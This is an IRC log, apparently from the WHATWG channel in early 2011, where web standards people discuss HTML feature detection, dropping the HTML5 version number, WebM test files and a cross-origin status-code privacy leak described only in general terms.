zcorpan: they are too small. the line widths are hard though

[20:49:02.0000] <benschwarz_>
I think I'm going to re-address it when i get to the .example styles

[20:50:00.0000] <artenix>
Reading about droping HTML5 ñame over HTML. Strong feelings on the web about it.

[20:51:00.0000] <zcorpan>
benschwarz_: you think i should change the line-spacing?

[20:53:00.0000] <artenix>
I don't care the name. I just want a standard way to detect the new capabilities on HTML. Will be there one?

[20:53:01.0000] <zcorpan>
artenix: http://diveintohtml5.org/detect.html

[20:55:00.0000] <artenix>
zcorpan tnx. So, use Modernizr lib uh?

[20:56:00.0000] <zcorpan>
yeah

[21:00:00.0000] <artenix>
Because now HTML is a living spec, I think the smartest thing is providing a well-designed and standard capability detection method. The soup http://diveintohtml5.org/detect.html will be a nightmare to use as HTML evolves

[21:02:00.0000] <benschwarz_>
Those with strong opinions about it weren't there when the canvas was empty.

[21:02:01.0000] <artenix>
Don't get me wrong, I am more than happy with WHATWG. I just want to see fixed the incompatability problems on HTML once and for all

[21:02:02.0000] <zcorpan>
artenix: what's wrong with the current detection mechanisms?

[21:03:00.0000] <artenix>
I don't enjoy using CSS hacks :)

[21:03:01.0000] <zcorpan>
you don't need css hacks to detect html5 features

[21:05:00.0000] <zcorpan>
artenix: fixing incompatibility problems is a large part of what whatwg is doing

[21:06:00.0000] <artenix>
zcorpan "call a method and see the return value" , "Set a property to a certain value, then check if the property has retained its value." C'mon! Is the best we can do?

[21:07:00.0000] <artenix>
"Use a JS lib somebody maintains... and hope she will be maintaining it in the years to come"

[21:08:00.0000] <zcorpan>
artenix: it's the most reliable we can do, yeah. http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0231.html

[21:08:01.0000] <artenix>
No sir, IMHO HTML needs a *standard* way to detect capabilities.

[21:09:00.0000] <artenix>
zcorpan lemme

[21:09:01.0000] <artenix>
zcorpan lemme read the lastima

[21:09:02.0000] <artenix>
s/ima//

[21:12:00.0000] <zcorpan>
artenix: there is a standard way to detect capabilities. you just look at what the feature you want to test actually is, and then see if it's there or not. e.g. for web sockets, it's a constructor called "WebSocket" exposed on window, so the detection is if ('WebSocket' in window)

[21:15:00.0000] <artenix>
Zcorpan and for <video> is different.

[21:16:00.0000] <zcorpan>
artenix: something like hasFeature has great problems with dividing up features you'd want to detect, not considering implementation bugs, and has a history of being completely unreliable and hence useless for its intended purpose

[21:16:01.0000] <artenix>
"Having something like DOM's hasFeature detect for larger sets of features doesn't work on the Web." I think more on testing SMALL set of features (or just 1)

[21:17:00.0000] <zcorpan>
what's "a small set of features" or "just one feature"?

[21:18:00.0000] <artenix>
I meant, hasFeature should test 1 small tiny specific on behaivor and semantic feature.

[21:19:00.0000] <artenix>
That way, $IMPORTANT_SITE could test for the fragores it really needs

[21:20:00.0000] <zcorpan>
problem with that is that it's a major undertaking to divide all the web platform's features into hasFeature strings and maintaining them and implementing them, which takes time away from implementing new features and fixing bugs in existing features

[21:20:01.0000] <zcorpan>
and i'm not convinced that it would STILL be reliable to actually be useful

[21:20:02.0000] <artenix>
s/fragores/features/  iPhone autocomplete needs debugging :)

[21:21:00.0000] <zcorpan>
the feature detection Modernizr uses comes for free when a browser implements the feature, which is good in two ways: it's reliable, and it doesn't cost anything

[21:24:00.0000] <artenix>
Look. I speak as a Web developer here. I need a reliable way to use the new exciting tags and technolgy associated with HTML(5) , while providing the simplest experience for users using older browsers.

[21:25:00.0000] <artenix>
Is WHATWG addresing that?

[21:26:00.0000] <zcorpan>
artenix: yeah. it's just that the feature detection method isn't as clean as you'd like

[21:28:00.0000] <zcorpan>
artenix: if we've tried to make the detection method clean and reliable, then that would take away time for bugfixing and new features

[21:29:00.0000] <zcorpan>
artenix: since there already is a reliable way to detect features, we'd rather spend time on fixing bugs and implementing new features

[21:30:00.0000] <artenix>
Ok. I can live with a "dirty" detection methods. But only if the browsers implementators agree on which dirtiness to use. I don't want to have to use one method for IE, another for FF, other for Opera, Safari, etc etc

[21:31:00.0000] <zcorpan>
deal :)

[21:31:01.0000] <artenix>
:-)

[21:33:00.0000] <artenix>
BTW who are you? ^_^

[21:33:01.0000] <zcorpan>
Simon Pieters

[21:34:00.0000] <zcorpan>
you?

[21:35:00.0000] <artenix>
Nice to meet you. Arturo Tena, one of the many web developers out there.

[21:36:00.0000] <artenix>
Im exciting on having HTML moving forward after all this years

[21:37:00.0000] <artenix>
s/ing/ed/  My English is not so good

[21:38:00.0000] <benschwarz_>
artenix: have you seen the developers edition that is being worked on?

[21:38:01.0000] <benschwarz_>
its a start, anyway

[21:39:00.0000] <[tm]>
Mark Pilgrim's book is a great place to look too

[21:40:00.0000] <artenix>
ben hm not sure I grab the most recent stuff I found

[21:40:01.0000] <[tm]>
goes into detail bout this very stuff

[21:40:02.0000] <Hixie>
hey didn't the chairs make a couple of decisions this year already? i can't find it

[21:40:03.0000] <MikeSmith>
artenix: http://diveintohtml5.org/

[21:40:04.0000] <artenix>
[Tm] oh tnx I will buy it

[21:40:05.0000] <MikeSmith>
Hixie: yeah, they did

[21:40:06.0000] <MikeSmith>
artenix: it's free

[21:40:07.0000] <MikeSmith>
online

[21:40:08.0000] <Hixie>
do you have a url to the decisions by any chance?

[21:41:00.0000] <Hixie>
i just went through the whole month of archives without success

[21:41:01.0000] <MikeSmith>
though you can also blow money on it if you want

[21:41:02.0000] <zcorpan>
but you can buy it if you want

[21:41:03.0000] <MikeSmith>
/me is MikeSmith btw

[21:41:04.0000] <MikeSmith>
Hixie: looking now

[21:42:00.0000] <artenix>
Mike tnx!

[21:43:00.0000] <artenix>
I must go. Thank you for all the hard work You have been doing on HTML

[21:44:00.0000] <zcorpan>
see ya

[21:45:00.0000] <MikeSmith>
Hixie: http://lists.w3.org/Archives/Public/public-html/2011Jan/0158.html

[21:45:01.0000] <MikeSmith>
closed without prejudice

[21:45:02.0000] <Hixie>
oh i meant a decision

[21:45:03.0000] <MikeSmith>
oh

[21:45:04.0000] <Hixie>
not the ones that time out

[21:45:05.0000] <Hixie>
sorry, i was unclear

[21:45:06.0000] <MikeSmith>
so none

[21:45:07.0000] <MikeSmith>
I think

[21:45:08.0000] <MikeSmith>
as far as decision-decisions

[21:46:00.0000] <MikeSmith>
but note that Paul was away since Christmas

[21:46:01.0000] <MikeSmith>
I think

[21:47:00.0000] <MikeSmith>
so perhaps some are waiting til they can meet together

[21:52:00.0000] <Hixie>
i could have sworn they had made a decision recently

[21:52:01.0000] <Hixie>
oh well

[21:52:02.0000] <Hixie>
thanks anyway

[21:53:00.0000] <MikeSmith>
othermaciej: see logs

[21:53:01.0000] <othermaciej>
oh man, I have to read?

[21:54:00.0000] <MikeSmith>
heh

[21:54:01.0000] <MikeSmith>
pretend it's code that you need to debug

[21:54:02.0000] <MikeSmith>
or review

[21:55:00.0000] <zcorpan>
/me doesn't find any decisions in his last month of public-html email containing the word 'decision'

[21:58:00.0000] <othermaciej>
MikeSmith: which part of the logs should I attend to?

[21:58:01.0000] <othermaciej>
I don't think any decisions have been published since before the holidays

[22:12:00.0000] <MikeSmith>
othermaciej: yeah,  that was all I was pinging you about

[01:22:00.0000] <danbeam>
re-posted from #html5: sorry if this question has been asked and answered a ton already, but given that HTML5 is now just HTML, are efforts in promoting and branding the newer features in browsers as "HTML5" going to continue?

[01:22:01.0000] <danbeam>
(or is that not really a big concern of this channel/group?)

[01:24:00.0000] <jgraham>
danbeam: It seems highly likely that people will continue to use html5 as a marketing term

[01:27:00.0000] <danbeam>
jgraham: I agree this is likely.  Perhaps I'm being pedantic, but aren't they're basically promoting a non-existent specification if they continue "repping" HTML5?

[01:27:01.0000] <danbeam>
aren't they*

[01:28:00.0000] <zcorpan>
danbeam: w3c still calls its spec "HTML5"

[01:28:01.0000] <danbeam>
(though I guess there is a snapshot of a semi-formed "HTML 5" specification, right?)

[01:30:00.0000] <jgraham>
danbeam: It helps if you think of "HTML5 as being 'The group of technologies that make up the Open Web Platform c. 2010'

[01:30:01.0000] <jgraham>
HTML is sone component of that (and continually evolves). CSS is another (and continuously evolves)

[01:31:00.0000] <danbeam>
jgraham: yeah, I've kind of figured that empirically along the way

[01:31:01.0000] <danbeam>
but it's just kind of weird to have multiple versions of HTML, CSS, ECMAScript, etc.

[01:31:02.0000] <danbeam>
but they all converge in one unifying concept

[01:32:00.0000] <danbeam>
of *** HTML5 ***

[01:32:01.0000] <danbeam>
haha

[01:32:02.0000] <danbeam>
it just seems very atypical of the whole process

[01:33:00.0000] <jgraham>
danbeam: It is, of course, insane

[01:33:01.0000] <jgraham>
But marketing never seems to be about rationality

[01:33:02.0000] <danbeam>
(and possibly hurtful, as now more people must agree to things to move forward, though I guess specs always have open requests for comments open to anybody)

[01:34:00.0000] <webr3>
does any of this/that matter?

[01:34:01.0000] <danbeam>
jgraham: marketing isn't rational as its consumers aren't often aren't either, :P

[01:35:00.0000] <danbeam>
webr3: any of what? the marketing or the merging of specifications?

[01:38:00.0000] <zcorpan>
http://www.w3.org/QA/2011/01/the_html5_logo_conversation.html

[02:00:00.0000] <hsivonen>
zcorpan: I added a listener for the playing event to webm.html5.org

[02:19:00.0000] <zcorpan>
hsivonen: nice

[02:24:00.0000] <zcorpan>
hsivonen: http://www.webmfiles.org/demo-files/ has two webm videos. not sure if they're any improvement though

[02:25:00.0000] <hsivonen>
zcorpan: I posted to webm-discuss asking if it's ok to make a test file that shows the WebM logo

[02:26:00.0000] <hsivonen>
zcorpan: I'm thinking either way I'll put the text WebM there and make a green checkmark fade in

[02:27:00.0000] <hsivonen>
now it's just a question of whether the "WebM" text can be the actual logo

[04:24:00.0000] <annevk>
http://www.whatwg.org/specs/web-apps/current-work/complete/ header looks a bit ugly imo

[04:27:00.0000] <benschwarz>
annevk: do something about it :)

[04:28:00.0000] <annevk>
whoa snow?!

[04:28:01.0000] <annevk>
weather wtf

[04:28:02.0000] <Peter`>
what?

[04:28:03.0000] <annevk>
benschwarz, nah, Hixie can change that

[04:29:00.0000] <annevk>
Peter`, lots of white powdery stuff in my backyard

[04:29:01.0000] <Peter`>
Nothing around here luckily

[04:29:02.0000] <annevk>
unless this is nuclear fallout, pretty sure it is snow

[04:30:00.0000] <espadrine>
annevk: I think it is nuclear. We have it here in Lyon, France too.

[04:31:00.0000] <annevk>
makes sense

[04:31:01.0000] <thiessenp>
annevk: no snow in Amsterdam, must have missed us

[04:31:02.0000] <Peter`>
thiessenp: I'm in Amsterdam too, hence my answer :)

[04:32:00.0000] <thiessenp>
Peter': had no idea. Are you near the center?

[04:33:00.0000] <Peter`>
No, Zeeburg / Amsterdam East

[04:36:00.0000] <thiessenp>
Peter': was going to ask if you wanted to grab a coffee/beer after work but I suspect your as lazy as me distance wise so ... :)

[04:37:00.0000] <Peter`>
I have a meeting in 20 minutes anyway, perhaps another time :) I'll keep it in mind

[04:37:01.0000] <Peter`>
(and have to go shortly after)

[04:37:02.0000] <thiessenp>
Peter': cool ttyl (may the meeting be short and painless :)

[04:40:00.0000] <annevk>
thiessenp, there's fronteers meetups every now and then

[04:40:01.0000] <annevk>
I wonder if there are enough Dutch people for a HTML5/WHATWG-type thing

[04:41:00.0000] <thiessenp>
annevk: I remember hearing something about fronteers - I'll look for a mail group or something. (brb)

[04:45:00.0000] <thiessenp>
annevk: btw: would be up for any WHATWG type meetings in Amsterdam

[04:46:00.0000] <annevk>
thiessenp, fronteers.nl it is, there's no mailing list, but there is #fronteers here on Freenode (Dutch channel)

[04:47:00.0000] <thiessenp>
annevk: nice - thanks!

[05:27:00.0000] <hsivonen>
annevk: I see you didn't summarize the solution to the TF use case assigned to you

[05:28:00.0000] <annevk>
I can do that

[05:28:01.0000] <annevk>
I forgot the goals of drafting the use cases, they include potential solutions?

[05:34:00.0000] <annevk>
hsivonen, I added a potential solution section

[05:36:00.0000] <annevk>
http://www.amazon.com/Definitive-Guide-HTML5-Video/dp/1430230908/

[05:39:00.0000] <annevk>
I think I should maybe add the XML->XML one too

[05:45:00.0000] <annevk>
If anyone wants to have access to the blog or WHATWG twitter account for some reason just say so. This has always been our policy but it is not stated anywhere so I should probably repeat it every now and then.

[05:46:00.0000] <annevk>
Or maybe I should introduce a FAQ entry though I doubt regular contributors read that...

[05:57:00.0000] <hsivonen>
annevk: I completed my ACTION as well

[05:57:01.0000] <hsivonen>
annevk: not sure if putting everything on one page was a good idea

[05:58:00.0000] <annevk>
yours is quite big

[05:58:01.0000] <annevk>
had not expected that

[05:58:02.0000] <annevk>
feel free to ignore my question

[05:58:03.0000] <annevk>
we can create separate pages instead

[06:07:00.0000] <hsivonen>
got an explanation to the Yandex bot problem. I had been serving 503 at the moment when they tried to fetch robots.txt

[06:30:00.0000] <MikeSmith>
in Web IDL, for a particular method, how do I indicate an exception that method can throw?

[06:30:01.0000] <MikeSmith>
/me looks around for examples

[06:30:02.0000] <MikeSmith>
oh, just "throws" maybe

[06:32:00.0000] <MikeSmith>
...or "raises"

[06:38:00.0000] <annevk>
I wonder why people want to put that in the IDL

[06:39:00.0000] <annevk>
hmm, maybe it does make some sense, but it makes the IDL look bloated

[06:43:00.0000] <hsivonen>
hey, someone is selling @font-face licensing finally: http://www.fontspring.com/fonts/exljbris/museo-sans

[06:43:01.0000] <hsivonen>
(without forcing typekit or such)

[06:43:02.0000] <hsivonen>
+50% to the price for the @font-face license

[06:44:00.0000] <zcorpan>
bah, i was going to tweet "A person who thinks (s)he is writing "stable" HTML 4.01 gets his/her content processed by the same ever-evolving code that processes the content made by a person who thinks (s)he is using the HTML5 draft standard." from http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0041.html but it doesn't fit in 140 chars

[06:45:00.0000] <hsivonen>
"All OpenType features must be removed from the licensed font." boo

[06:47:00.0000] <zcorpan>
/me made it shorter

[06:48:00.0000] <zcorpan>
maybe i should start tweeting in a format where i make use of the high bits in the utf-16 code units to fit more text into 140 utf-16 code units

[06:52:00.0000] <karlcow>
zcorpan: or tweet in Japanese or Chinese

[06:52:01.0000] <karlcow>
great compression scheme

[06:52:02.0000] <Workshiva>
Forget base64, use baseCJK

[06:53:00.0000] <zcorpan>
≁⁰敲獯渠睨漠瑨楮歳

[06:54:00.0000] <Philip`>
You should gzip-compress it too

[06:54:01.0000] <zcorpan>
(chinese does better than the above though)

[06:55:00.0000] <hsivonen>
is there a greasemonkey script, bookmarklet or some such for decoding?

[06:56:00.0000] <zcorpan>
i guess my scheme of just filling in the unused bits is lossy since you could get lone surrogates

[06:57:00.0000] <jgraham>
Or you could, y'know start a blog that allowed you to publish entries as long as you like

[06:57:01.0000] <karlcow>
:) I wish we could tweet QR code

[06:58:00.0000] <jgraham>
You could even push part of the entry to twitter if you like the network effects

[06:59:00.0000] <zcorpan>
jgraham: not long enough to be a blog entry :P

[07:01:00.0000] <annevk>
+1 to zcorpan blogging

[07:05:00.0000] <jgraham>
zcorpan: Plenty of people do short-form links_qoute/commentary as part of blogging e.g. http://simonwillison.net/

[07:06:00.0000] <illtron>
I've eaten a *lot* of food, but none of it has ever killed me.

[07:07:00.0000] <illtron>
aaaannnd that was supposed to be in #5by5, not #whatwg. apologies

[07:08:00.0000] <zcorpan>
illtron: clearly you should eat more

[07:09:00.0000] <illtron>
i'm not eating a damn thing until I get to the store to buy some more e. coli flavored bbq sauce

[07:16:00.0000] <annevk>
food sounds good

[07:23:00.0000] <annevk>
http://arstechnica.com/web/news/2011/01/html-to-lose-the-version-number.ars -- also has comments

[08:09:00.0000] <webr3>
is the microdata DOM API implemented in any browsers, or is implementation planned?

[08:09:01.0000] <hsivonen>
webr3: planned for Firefox

[08:10:00.0000] <webr3>
hsivonen, cheers - and just the person, I had a question for you too :) would you say Harry's comments here are a fair sumamry wrt xmlns http://lists.w3.org/Archives/Public/public-lod/2011Jan/0213.html ?

[08:11:00.0000] <webr3>
his first paragraph that is

[08:12:00.0000] <hsivonen>
it is true that one thing that makes Namespaces annoying is that each identifier is a pair of strings instead of one string

[08:12:01.0000] <hsivonen>
and it is true that RDF identifiers are single strings

[08:13:00.0000] <hsivonen>
but prefix-based indirection in RDF flavors still shares other flaws with Namespaces

[08:13:01.0000] <hsivonen>
so you can't just concatenate the two strings and declare all problems of Namespaces solved

[08:15:00.0000] <webr3>
ack I wasn't planning to get in to that one, and it wasn't why i was asking either, was trying to figure out the problems with xmlns heritage itself, especially in regards to concatenating the two parts together (I couldn't find it defined in the related spec!)

[08:15:01.0000] <webr3>
ty for feedback though :)

[09:00:00.0000] <TabAtkins>
Argh, I don't understand why it's so hard to give a simple listing of a script's alphabet, for use as list markers.

[09:01:00.0000] <TabAtkins>
Of the very first script listed here, they have 58 characters listed (5 of them combining characters), and 53 codepoints listed.

[09:02:00.0000] <TabAtkins>
And it's not what you think, where they just omitted the combiners.  Instead, they omitted four of the normal characters and *one* of the combiners.

[09:05:00.0000] <Xano>
I just read the blog post on no longer using version numbers for HTML. I understand why it's been done, but I cannot shake the feeling this is *very* bad for documentation.

[09:05:01.0000] <TabAtkins>
Nah, you've still got the ability to refer to versions.  Just use the "Last Updated" date.

[09:06:00.0000] <TabAtkins>
If you tried to document "HTML5" a few months ago, your documentation is already out of date.

[09:07:00.0000] <Xano>
Say an API is considered final, but two years later undergoes changes to make it better. Conceptually, this would mean two different versions two me. Perhaps browsers will only support one version (preferably the latest), but conceptually the two remain different two me

[09:07:01.0000] <Xano>
"Last Updated" is a very, very relative concept

[09:07:02.0000] <TabAtkins>
I don't understand what's relative about a date.

[09:07:03.0000] <Xano>
*two me -> for to me

[09:07:04.0000] <Xano>
Ah, the date, my bad

[09:09:00.0000] <Xano>
Are there any guidelines for how frequently to update the standard? Because it'll be harder to track changes if they are made more than once a year. The dates are different, yes, but imagine response like "Oh, wait, there have been how many updates this year?"

[09:09:01.0000] <TabAtkins>
The standard is updated continuously and as necessary.

[09:09:02.0000] <TabAtkins>
In practice, that means a few updates a day right now.

[09:10:00.0000] <Xano>
I must note I'm a fan of development cycles (development -> alpha/beta/rc -> final)

[09:11:00.0000] <Xano>
During development most people know things can still change and that it's not wise to write tonnes of docs precisely because of that

[09:11:01.0000] <TabAtkins>
Unfortunately, this is the web.  Something only becomes "final" when it's obsolete.

[09:11:02.0000] <Xano>
I'm thinking yearly cycles here

[09:11:03.0000] <TabAtkins>
However, individual sections of the spec become stable as implementations appear.

[09:12:00.0000] <Xano>
I'm just 'worried' it'll become hard to keep up

[09:13:00.0000] <TabAtkins>
It won't be any harder than it has been for the past 5 years that the spec has been developing.  ^_^

[09:13:01.0000] <Xano>
IMHO versions are not there to mark things as final, but to help people keep up

[09:13:02.0000] <Xano>
TabAtkins: True, but that's the idea of a development phase

[09:14:00.0000] <TabAtkins>
The problem is that the subset of things that are stable enough to shapshot is very arbitrary, based entirely on whether several browsers have implemented it or not.

[09:14:01.0000] <Xano>
In my experience releases are great ways to push forward, because 90% of all people are not going to use something that's still in development anyway, because things are going too fast for them.

[09:14:02.0000] <Xano>
THen agian, my experience does not extend to writing web standards, so I may be entirely wrong here

[09:14:03.0000] <bfrohs>
Xano: It rarely matters what the spec says. It matters what's supported. So, may I suggest: http://caniuse.com/

[09:14:04.0000] <TabAtkins>
The spec itself tracks whether features have been implemented, and there are other sites on the web that do similar things.

[09:15:00.0000] <bfrohs>
The spec helps to guide implementors and developers when using the features--not so much in deciding which features to use.

[09:16:00.0000] <Philip`>
HTML4 was stable for a decade but that didn't mean you could trust browsers to have complete correct support for everything it defines - you still had to figure out exactly what features worked in which browsers, and avoid the ones that weren't well supported

[09:16:01.0000] <Xano>
I basically know the philosophy behind HTML(5). Is is truly about paving the cowpaths, or does it also help define how things should be best implemented?

[09:16:02.0000] <TabAtkins>
Both.

[09:16:03.0000] <Philip`>
so HTML(5) being a moving target doesn't change that

[09:17:00.0000] <TabAtkins>
The spec defines things so browsers can work in the same direction.  Browsers implement things, so the spec has to match them if it wants to accurately describe reality.

[09:18:00.0000] <Xano>
FOr end users it's important to know when and how things are implemented consistently by browser makers, so they can use them

[09:18:01.0000] <Xano>
But if those implementations are still under development, they're not very useful for most end users, I guess.

[09:18:02.0000] <TabAtkins>
Yup, and that has never been accurately communicated by having a "final version" or even a "snapshot".  It's always been communicated by community knowledge.

[09:19:00.0000] <Xano>
I guess it's just a matter of the lesser of two evils, right?

[09:19:01.0000] <TabAtkins>
Like Philip said, HTML4 was stable and final for a decade, but you still can't use it to determine what's usable.

[09:19:02.0000] <TabAtkins>
Well, most useful of the two evils.

[09:19:03.0000] <Xano>
It's not good for documentation, but that's just how things go

[09:19:04.0000] <Xano>
TabAtkins: fair enough

[09:19:05.0000] <Xano>
:)

[10:31:00.0000] <annevk>
It seems at least some of the confusion stems from what zcorpan tweeted earlier today. People do not realize HTML never had versioning.

[10:33:00.0000] <annevk>
Or that we never implemented HTML4 for that matter...

[10:44:00.0000] <TabAtkins>
The action that a browser takes if you drop a file into a page that doesn't have any dropzones is undefined, right?

[10:44:01.0000] <TabAtkins>
Normally browsers just try to load the file as if you'd navigated to it as a file: url.

[10:46:00.0000] <annevk>
It probably is defined actually.

[10:46:01.0000] <annevk>
Because we had file drag & drop before dropzones.

[10:46:02.0000] <annevk>
I suspect that what you suggest might be the default action in some browsers, but you can override that from script.

[10:46:03.0000] <TabAtkins>
Right; the default action is just what I'm talking about.  That part's UA-defined, right?

[10:47:00.0000] <TabAtkins>
We're thinking of changing our behavior if you drag a file into a page that has dropzones, but drop it onto something that's not a dropzone.  We'd like to just ignore the drop in this circumstance.

[10:48:00.0000] <annevk>
Pretty sure that must be UA-defined

[10:48:01.0000] <TabAtkins>
This would help, for example, people using GMail, if they're a little inaccurate and miss dropping the file into a message.

[11:12:00.0000] <Hixie>
annevk: do you mean the heading is ugly? the smallcaps?

[11:12:01.0000] <Hixie>
cos i agree, i was just seeing if it would grow on me

[11:13:00.0000] <Hixie>
i'll change it back in a bit i think

[11:16:00.0000] <Hixie>
i guess i should go through the blog and collect the questions

[12:44:00.0000] <Ms2ger>
Hixie, might be good to redirect http://hixie.ch/specs/css/dom/altss/altss to cssom

[12:46:00.0000] <annevk>
Hixie, yeah, the smallcaps

[12:47:00.0000] <Ms2ger>
Hey, the small caps looks really good on http://html5.org/specs/dom-parsing.html :)

[12:47:01.0000] <Hixie>
Ms2ger: is that part of cssom done yet? i thought it was still very much a wip.

[12:47:02.0000] <Hixie>
annevk: yeah i'll prolly change that soon.

[12:48:00.0000] <Ms2ger>
Dunno, less so than your spec?

[12:48:01.0000] <Hixie>
(fwiw when i do change it if you want to keep the caps set class=allcaps on the h1)

[12:48:02.0000] <Hixie>
(or whatever class i have set on the html spec today)

[12:48:03.0000] <Hixie>
Ms2ger: dunno.

[12:48:04.0000] <Hixie>
Ms2ger: not like anyone reads that hixie.ch spec anyway.

[12:48:05.0000] <Ms2ger>
Bz does

[12:49:00.0000] <Ms2ger>
Well, mentioned it, at least

[12:49:01.0000] <annevk>
I would say the CSSOM part of that is more mature

[12:49:02.0000] <annevk>
I worked on that actually and fixed a few things

[12:49:03.0000] <Hixie>
k

[12:49:04.0000] <Hixie>
i can add a note at the top

[12:50:00.0000] <Hixie>
what url should i redirect to?

[12:50:01.0000] <annevk>
Ms2ger, can you remove the PDF link from DOM Range?

[12:50:02.0000] <Ms2ger>
Sure

[12:51:00.0000] <annevk>
Hixie, http://dev.w3.org/csswg/cssom/

[12:51:01.0000] <Hixie>
done

[12:51:02.0000] <annevk>
it's the first two sections of section 5

[12:51:03.0000] <Hixie>
hey, the w3c changed their mind on what the logo means

[12:51:04.0000] <Hixie>
my head hurts trying to work out wtf they're doing

[12:51:05.0000] <Ms2ger>
/me doesn't try

[12:53:00.0000] <annevk>
I think because of the feedback they de-emphasized that it now includes CSS

[12:53:01.0000] <annevk>
well, said that it does not

[12:53:02.0000] <othermaciej>
does the logo that's only about the HTML5 spec still have appendages that let you badge it with non-HTML5 technologies?

[12:53:03.0000] <annevk>
so that part stayed

[12:54:00.0000] <hsivonen>
hmm. Grubar has reached an ad hominem level when writing about WebM and referring to the beards of the FSF folks

[12:54:01.0000] <hsivonen>
*Gruber

[12:54:02.0000] <annevk>
because these technologies are compatible with HTML5

[12:54:03.0000] <annevk>
or something like that is the reasoning

[12:54:04.0000] <annevk>
http://www.w3.org/QA/2011/01/the_html5_logo_conversation.html has some information

[12:57:00.0000] <Hixie>
my favourite response to the spec name thing btw was w3c's official response from ij, which said that the w3c "remained" "the" standards organisation for html5

[12:57:01.0000] <Hixie>
not like they're bitter or anything

[12:58:00.0000] <Ms2ger>
Well, they're the only one for HTML5 now, I guess

[12:58:01.0000] <Hixie>
yeah, that's why i'm not complaining :-)

[12:59:00.0000] <Hixie>
just thought it was amusing that that was the thing they were most worried about conveying

[12:59:01.0000] <Ms2ger>
annevk, done

[13:00:00.0000] <annevk>
that's also what our detractors tweeted

[13:14:00.0000] <Hixie>
"You had your chance. Developers and browser makers were listening. Now the browser makers have no one to listen to and it’s all up to them. In lieu of any guidance, the browsers are now independent. I sure wish MS would adopt webkit!"

[13:15:00.0000] <jcranmer>
ah yes, the idiots

[13:17:00.0000] <bfrohs>
I saw that earlier--had a good laugh :)

[13:17:01.0000] <TabAtkins>
Where's that one from?  The blog?

[13:17:02.0000] <bfrohs>
http://blog.whatwg.org/html-is-the-new-html5#comment-42356

[13:18:00.0000] <Hixie>
"idiots" seems a bit harsh

[13:18:01.0000] <TabAtkins>
Man, comment #57 is really good.  In a good way, not a sarcastic way

[13:19:00.0000] <Hixie>
it seems to be a common misconception that standards committees are independent from the implementors

[13:21:00.0000] <Ms2ger>
For the W3C, is it really a misconception?

[13:22:00.0000] <TabAtkins>
Yes?  The W3C is full of implementors.

[13:22:01.0000] <othermaciej>
well there's WGs with no browser implementors in them

[13:22:02.0000] <othermaciej>
generally their specs don't get implemented

[13:22:03.0000] <TabAtkins>
Those are the ones that make useless things, right?

[13:22:04.0000] <Ms2ger>
I guess they would disagree

[13:23:00.0000] <othermaciej>
IETF is controlled by server implementors

[13:29:00.0000] <MikeSmith>
is it just me or is the log page borked?

[13:29:01.0000] <MikeSmith>
http://krijnhoetmer.nl/irc-logs/

[13:29:02.0000] <MikeSmith>
krijnh: ↑

[13:34:00.0000] <TabAtkins>
MikeSmith: Yeah, borked for me too.

[13:34:01.0000] <MikeSmith>
k

[13:34:02.0000] <MikeSmith>
somebody wake up the programmer!

[13:38:00.0000] <dglazkov>
I told you to keep the versions. Now we'll never know how it broke.

[13:38:01.0000] <TabAtkins>
Haha

[13:38:02.0000] <dglazkov>
:)

[13:46:00.0000] <karlcow>
https://secure.grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information

[13:47:00.0000] <Rik`>
karlcow: with that kind of title, I want a valid certificate

[13:48:00.0000] <karlcow>
yes :)

[13:48:01.0000] <karlcow>
I know this is the bad part of the experience

[13:48:02.0000] <karlcow>
reaching the site

[13:48:03.0000] <karlcow>
;)

[13:49:00.0000] <karlcow>
the attack is very similar to the visited link in css.

[13:50:00.0000] <TabAtkins>
Yeah, except harder to fix, because it depends on every site with logins being smart about how they expose information.

[13:51:00.0000] <karlcow>
yep

[13:51:01.0000] <Rik`>
or disabling mashups :)

[13:51:02.0000] <karlcow>
+1 ;)

[13:52:00.0000] <TabAtkins>
Heh, yeah, disable cross-origin for every resource.

[13:52:01.0000] <TabAtkins>
And then watch the web burn.

[13:53:00.0000] <karlcow>
I'm already burning of excitment

[13:55:00.0000] <Rik`>
well, people would write small proxies like they do for XHR

[14:00:00.0000] <gsnedders>
karlcow: I wonder what would happen if you stopped firing the error event

[14:00:01.0000] <TabAtkins>
gsnedders: At least for cross-origin loads?

[14:00:02.0000] <gsnedders>
TabAtkins: Oh, yeah, that's what I meant.

[14:00:03.0000] <gsnedders>
TabAtkins: There's already one place where that's the case, no?

[14:01:00.0000] <TabAtkins>
With <img>, can't you still detect success vs error by measuring the size afterwards?

[14:01:01.0000] <paul_irish>
yup.

[14:10:00.0000] <gsnedders>
iframes don't fire error events in the cross-origin case.

[14:10:01.0000] <gsnedders>
It'd make sense to extend that elsewhere, IMO

[14:12:00.0000] <TabAtkins>
Iframes also dont' resize themselves based on their contents.

[14:12:01.0000] <gsnedders>
This is true.

[14:13:00.0000] <TabAtkins>
(Unless they're seamless, which then potentially exposes the same problems.)

[14:14:00.0000] <gsnedders>
But it would stop the status-code based attack in every other case.

[14:15:00.0000] <TabAtkins>
Yes.

[14:16:00.0000] <dglazkov>
I want CSS measurements from a point:

[14:16:01.0000] <dglazkov>
var point = new RelativePoint(element, x, y);

[14:17:00.0000] <dglazkov>
alert(point.top.percent); // shows distance from the top of element in percentages

[14:17:01.0000] <Hixie>
"What about people who don’t want to be constantly updating their browser… certain parts of pages, or whole pages, will become invalid because on feature was changed a few weeks after the last release?"

[14:17:02.0000] <Hixie>
how did people think this worked before?

[14:17:03.0000] <Hixie>
http://blog.whatwg.org/html-is-the-new-html5#comment-42382 is kinda funny

[14:19:00.0000] <TabAtkins>
dglazkov: <3

[14:19:01.0000] <TabAtkins>
Hixie: Hahahahahaha

[14:19:02.0000] <dglazkov>
annevk: ^^^^ (my example, not Hixie's sensitivity to haters)

[14:20:00.0000] <dglazkov>
he's probably asleep or smth

[14:22:00.0000] <boogyman>
Ian, they probably believed that no portion of the "New" HTML spec was implemented until the specification was put into the status previously known as "Recommendation"

[14:22:01.0000] <Hixie>
boy is that a misconception

[14:23:00.0000] <Hixie>
surely though nobody would have missed all the browsers screaming about how they implement html5

[14:30:00.0000] <annevk>
dglazkov, interesting idea

[14:31:00.0000] <TabAtkins>
dglazkov: You'd want the ability to specify the box of the element, too - content vs padding vs border vs margin.

[14:33:00.0000] <dglazkov>
the use case is: I want to position a thumb inside of the slider in response to a mouse event

[14:34:00.0000] <dglazkov>
with this API, all I have to do is ask for percentage and dumbly set left (or top) to whatever comes out

[14:35:00.0000] <annevk>
